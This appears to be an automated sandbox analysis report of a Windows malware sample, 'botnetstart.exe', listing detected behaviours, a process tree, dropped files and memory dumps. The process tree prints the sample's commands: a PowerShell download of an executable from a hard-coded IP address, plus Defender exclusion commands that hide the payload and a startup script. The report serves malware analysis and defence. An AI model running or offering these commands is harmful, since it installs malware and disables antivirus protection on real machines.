Analysis

  • user interaction
    yes
  • max time kernel
    40s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/11/2026, 12:30

General

  • Target
    botnetstart.exe
  • Size 121KB
  • Sample261107-ppj6cseh96
  • SHA256 7d2ccfab8a944c66ae8e8f5a8888d1ee9e1c26dc9994517e24fdb057aea4c106
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\botnetstart.exe
    "C:\Users\Admin\AppData\Local\Temp\botnetstart.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:6084
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D944.tmp\D945.tmp\D946.bat C:\Users\Admin\AppData\Local\Temp\botnetstart.exe"
      2⤵
      • Creates a file in the Startup directory
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'http://66.63.187.185/SystemService.exe' -OutFile 'C:\ProgramData\SystemService.exe'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionProcess 'C:\ProgramData\SystemService.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionProcess 'wscript.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsRUN.vbs'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6116

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 3de818db369eb975732ab9b38c4873a147c70bd9830095e653ca4a983d7003a1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 3e1615e7774bd98860c984570515c293b64cf07f1b8e6688a72e78fa9ebed0f4
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 cf5a1c42641a83dd41fe89923591962b7ad189006342c7a67669239688f84a2d
        • MD5 SHA1 SHA512 TLSH

        D946.bat

        • Path C:\Users\Admin\AppData\Local\Temp\D944.tmp\D945.tmp\D946.bat
        • Size 1006B
        • SHA256 d31c72991dbe58f5ed69dece9092881d992f2a8875e13c9a03250cc2228cfd06
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_rjvj1jl0.isr.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rjvj1jl0.isr.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3524-11-0x000002CACBA30000-0x000002CACBA52000-memory.dmp

        memory/3524-14-0x000002CAE40D0000-0x000002CAE40E0000-memory.dmp

        memory/3524-13-0x000002CAE40D0000-0x000002CAE40E0000-memory.dmp

        memory/3524-12-0x000002CAE40D0000-0x000002CAE40E0000-memory.dmp

        memory/3524-3-0x000002CAE40D0000-0x000002CAE40E0000-memory.dmp

        memory/3524-2-0x000002CAE40D0000-0x000002CAE40E0000-memory.dmp

        memory/6076-36-0x000001C7DA300000-0x000001C7DA51C000-memory.dmp